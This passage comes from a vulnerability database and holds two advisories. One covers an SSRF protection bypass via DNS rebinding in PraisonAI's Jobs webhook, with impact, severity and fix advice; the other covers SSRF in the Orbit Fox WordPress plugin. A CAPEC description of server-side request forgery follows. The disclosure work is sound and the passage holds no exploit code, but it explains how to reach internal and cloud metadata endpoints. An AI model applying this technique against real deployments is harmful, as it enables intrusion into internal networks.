SystemExit(main())\n```\n\n## Intended-Behavior Validation\n\nPraisonAI\u0027s Async Jobs documentation describes `webhook_url` as the completion\ncallback URL for submitted jobs. The deploy API docs list webhooks as a key\nfeature and state that the async jobs API does not require authentication by\ndefault, with authentication left to server deployment configuration.\n\nThe code also proves the intended safety boundary: both `JobSubmitRequest` and\n`Job` currently reject direct `http://127.0.0.1:\u003cport\u003e/...` webhook URLs. The\nPoV does not rely on local webhooks being intentionally allowed; it demonstrates\nthat a blocked local target becomes reachable after the validation-to-use DNS\ntransition.\n\n## Impact\n\nIf an attacker can submit jobs to a PraisonAI Jobs API deployment and choose\n`webhook_url`, they can cause the PraisonAI host to send POST requests to\nloopback, private-network, or cloud metadata endpoints reachable from that host.\n\nPractical impact includes:\n\n- blind interaction with internal HTTP services;\n- internal host/port reachability probing via timing and webhook error behavior;\n- POSTing attacker-controlled job result payloads to internal APIs with weak\n request validation;\n- cloud metadata interaction where metadata endpoints accept the request method\n and the deployment network permits access.\n\nThis report does not claim response-body disclosure, RCE, or live credential\ntheft without deployment-specific internal-service behavior. The SSRF primitive\nis still security-relevant because webhook delivery crosses a network boundary\nthat current code explicitly tries to block.\n\n## Severity\n\nSuggested severity: High for network-reachable Jobs API deployments where job\nsubmission is unauthenticated or attacker-accessible.\n\nIf maintainers model the Jobs API as loopback-only or authenticated in the\naffected deployment, severity may reasonably be reduced. I kept the primary\nrating aligned with the prior Jobs webhook SSRF advisory because PraisonAI\u0027s\npublic docs state that authentication is not required by default and the same\nwebhook sink remains reachable.\n\n## Suggested Fix\n\n- Move SSRF validation to the send path immediately before opening the outbound\n connection.\n- Resolve all candidate addresses with `socket.getaddrinfo()`, not only the\n first IPv4 answer from `gethostbyname()`.\n- Reject loopback, private, link-local, multicast, reserved, unspecified, and\n cloud metadata address ranges for every resolved address.\n- Pin the validated address to the actual connection, or use a guarded HTTP\n transport/proxy that validates the destination after DNS resolution and before\n connect.\n- Consider making Jobs API authentication mandatory by default for non-loopback\n binds, or require explicit opt-in to unauthenticated job submission.\n- Add regression tests for direct loopback rejection, DNS rebind from public to\n loopback, IPv6/private AAAA records with public A records, and allowed public\n webhooks.",
"id": "GHSA-rjvw-7vvw-549v",
"modified": "2026-06-18T13:57:20Z",
"published": "2026-06-18T13:57:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rjvw-7vvw-549v"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding"
}
GHSA-RJWC-PX3P-9MV8
Vulnerability from github – Published: 2025-10-24 06:31 – Updated: 2025-10-24 15:31The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More WordPress plugin before 3.0.2 does not limit URLs which may be used for the stock photo import feature, allowing the user to specify arbitrary URLs. This leads to a server-side request forgery as the user may force the server to access any URL of their choosing.
{
"affected": [],
"aliases": [
"CVE-2025-10874"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-24T06:15:35Z",
"severity": "MODERATE"
},
"details": "The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts \u0026 More WordPress plugin before 3.0.2 does not limit URLs which may be used for the stock photo import feature, allowing the user to specify arbitrary URLs. This leads to a server-side request forgery as the user may force the server to access any URL of their choosing.",
"id": "GHSA-rjwc-px3p-9mv8",
"modified": "2025-10-24T15:31:25Z",
"published": "2025-10-24T06:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10874"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/171ba43f-55b6-471d-af0a-be553baf639a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.